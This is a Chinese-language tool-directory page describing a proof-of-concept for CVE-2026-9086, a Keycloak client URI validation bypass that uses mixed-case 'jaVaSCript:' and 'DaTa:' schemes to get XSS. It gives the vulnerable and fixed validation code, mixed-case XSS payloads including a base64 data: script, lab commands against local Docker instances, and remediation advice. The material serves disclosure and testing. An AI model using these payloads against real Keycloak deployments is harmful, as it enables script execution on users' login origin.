Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-9086-poc — CVE-2026-9086 概念验证:通过混合大小写的 javascript: 和 data: XSS 载荷绕过 Keycloak 客户端 URI 验证,并基于 Docker 对存在漏洞版本和已修复版本进行验证。 | Kitploit
工具/GitHubGitHub/saku0512/cve-2026-9086-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全学习与教育实验室与实践
GitHubsaku0512/cve-2026-9086-poc

CVE-2026-9086-poc

CVE-2026-9086 概念验证:通过混合大小写的 javascript: 和 data: XSS 载荷绕过 Keycloak 客户端 URI 验证,并基于 Docker 对存在漏洞版本和已修复版本进行验证。

查看仓库
110天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-9086:Keycloak URI 方案校验绕过 XSS PoC

英文版

概要

本仓库是针对 Keycloak 客户端 URI 校验中存在的跨站脚本(XSS)漏洞 CVE-2026-9086 的概念验证(PoC)。

存在漏洞的 Keycloak 对客户端配置的 URI 中的 javascript: 和 data: 方案采用区分大小写的方式进行校验。因此,使用 jaVaSCript: 或 DaTa: 之类的混合大小写写法即可绕过禁用方案校验。由于浏览器会不区分大小写地解释 URI 方案,因此受害者点击精心构造的链接后,JavaScript 可能会在 Keycloak 源(origin)上执行。

该 PoC 使用 Docker 启动 Keycloak 26.6.3(存在漏洞的版本)和 26.6.4(已修复版本),并通过 Admin REST API 注册相同的混合大小写 URI。可以确认在存在漏洞的版本中注册成功,在已修复版本中被 HTTP 400 拒绝。

本 PoC 不会在浏览器中打开已注册的 URI,也不会执行 JavaScript。


免责声明

本项目仅用于教育目的以及获得授权的安全验证。请勿用于对第三方 Keycloak 环境进行未授权验证。作者对本工具被误用、造成损害或违法行为不承担任何责任。


漏洞详情

  • CVE ID: CVE-2026-9086
  • 产品: Keycloak / Red Hat build of Keycloak
  • 类型: 跨站脚本(CWE-79)
  • CVSS v3.1: 7.3 高危(High) (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
  • 所需权限: manage-client 权限,或对客户端注册端点的访问权限
  • 用户交互: 需要点击精心构造的链接
  • PoC 目标版本: Keycloak 26.6.3
  • PoC 修复版本: Keycloak 26.6.4
  • 影响范围(NVD CPE): Red Hat build of Keycloak 26.4 及以上、低于 26.4.13,26.6 及以上、低于 26.6.4

根本原因

修复前的 DefaultClientValidationProvider 使用 String.equals() 比较禁用方案。

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equals("data")
        || uri.getScheme().equals("javascript"))) {
    // reject
}

由于 java.net.URI#getScheme() 会保留输入的大小写,因此以下 URI 不会匹配该比较,从而通过校验。

root@kitploit:~
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+

修复后的版本使用 equalsIgnoreCase()。

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equalsIgnoreCase("data")
        || uri.getScheme().equalsIgnoreCase("javascript"))) {
    // reject
}

概念验证(使用方法)

1. 启动环境

使用 Docker Compose 启动存在漏洞的版本和已修复版本。

root@kitploit:~
docker compose up -d

启动目标:

URL版本预期结果
http://localhost:8180Keycloak 26.6.3URI 注册成功(存在漏洞)
http://localhost:8181Keycloak 26.6.4HTTP 400(已修复)

首次启动需要一些时间。可以使用以下命令确认状态。

root@kitploit:~
docker compose logs -f

当两个日志中都显示 Listening on 后,按 Ctrl+C 退出日志显示。

2. 验证存在漏洞的版本

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8180 \
  -u admin \
  -p admin \
  --expect vulnerable

预期输出:

root@kitploit:~
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.

脚本还会通过 Admin API 重新获取创建的客户端,并确认精心构造的 URI 已被保存。

3. 验证已修复版本

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8181 \
  -u admin \
  -p admin \
  --expect fixed

预期输出:

root@kitploit:~
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.

4. 验证 data: 方案

指定 --scheme data 即可验证混合大小写写法的 DaTa: URI。

root@kitploit:~
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed

5. 清理

root@kitploit:~
docker compose down -v

PoC 的工作原理

exploit.py 仅执行以下操作。

  1. 使用 admin-cli 获取管理员访问令牌
  2. 生成随机客户端 ID
  3. 将混合大小写写法的 jaVaSCript: 或 DaTa: URI 设置为 redirectUris
  4. 向 /admin/realms/master/clients 发送客户端创建请求
  5. 在存在漏洞的版本中重新获取已保存的客户端并确认 URI
  6. 在已修复版本中确认 HTTP 400 及禁用方案的错误

不会启动浏览器、不会跳转到已注册的 URI、也不会执行 JavaScript。

修复措施

请将 Keycloak 26.6 系列更新至 26.6.4 及以后,将 Red Hat build of Keycloak 26.4 系列更新至 26.4.13 及以后。

同时,请审计现有客户端的 URI 配置,删除所有使用 javascript: 或 data: 的值(无论大小写如何)。此外,请将 manage-client 权限和客户端注册端点的访问权限限制在必要的最小范围内。

参考信息

  • NVD:CVE-2026-9086
  • Red Hat:CVE-2026-9086
  • Keycloak issue #50347
  • Keycloak 修复提交 32cdceb
下载工具